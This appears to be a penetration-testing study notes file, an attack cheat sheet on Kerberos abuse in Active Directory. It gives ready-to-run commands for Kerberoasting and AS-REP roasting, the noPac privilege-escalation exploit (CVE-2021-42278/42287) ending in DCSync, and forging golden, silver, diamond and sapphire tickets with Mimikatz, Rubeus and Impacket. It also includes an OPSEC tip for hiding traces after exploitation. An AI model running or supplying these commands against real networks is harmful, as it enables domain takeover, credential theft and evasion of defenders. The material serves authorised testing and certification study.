oscp/Necronomicon/Attacks/Active Directory/Kerberos.md

• Cerbero

  • cerbero ask -u contoso.local/Anakin --aes ecce3d24b29c7f044163ab4d9411c25b5698337318e98bf2903bbb7f6d76197e -k 192.168.100.2 -vv

• Silver Ticket services

  • psexec - CIFS
  • winrm - HOST & HTTP
  • dcsync (DC only) - LDAP

• Kerberoast/ASREPRoast (with CME)

  • crackmapexec ldap –u ValidUser –p ValidPass –kerberoast targets.txt
  • crackmapexec ldap dc.domain.local -u ValidUser -p ValidPass --asreproast targets.txt

• NoPAC - CVE-2021-42278 and CVE-2021-42287

  • Breakdown
    • Create a new computer account with any name
      • Requires SeMachineAccountPrivilege - by default all domain users can create up to 10 machine accounts
    • Clear the SPNs
    • Change the name to mimic the SamAccountName of a Domain Controller (without the "$")
    • Request TGT for the machine account
    • Change name of computer back to its original value
    • Request TGS for the LDAP service using the TGT
      • Account name no longer exists - Kerberos will append a "$" and now the name will match the DC
    • DCSync
  • Exploitation
    • python noPac.py domain.local/username:password -dc-ip <DC IP> -dc-host <DC name> --impersonate <user to impersonate> -dump
      • https://github.com/Ridter/noPac
      • OPSEC - remember to delete the machine account after execution

• Dominance Tickets

  • Golden Tickets
    • Mimikatz: kerberos::golden /user:<user> /domain:<FQDN> /sid:<domain SID> /krbtgt:<NTLM hash> /ticket:golden.kirbi
  • Silver Tickets
    • Rubeus: Rubeus.exe silver /service:<SPN> /aes256:<preferred, but can use RC4> /user:<user> /domain:rlyeh.local /sid:<user SID>
  • Diamond Tickets
    • Rubeus: Rubeus.exe diamond /tgtdeleg /ticketuser:<user> /ticketuserid:<uid> /groups:<rid> /krbkey:<krbtgt>
  • Sapphire Tickets
    • Impacket: ticketer.py -request -user lowpriv -password 'pwd123' -impersonate administrator -domain rlyeh.local -domain-sid <sid> -aesKey <key> Administrator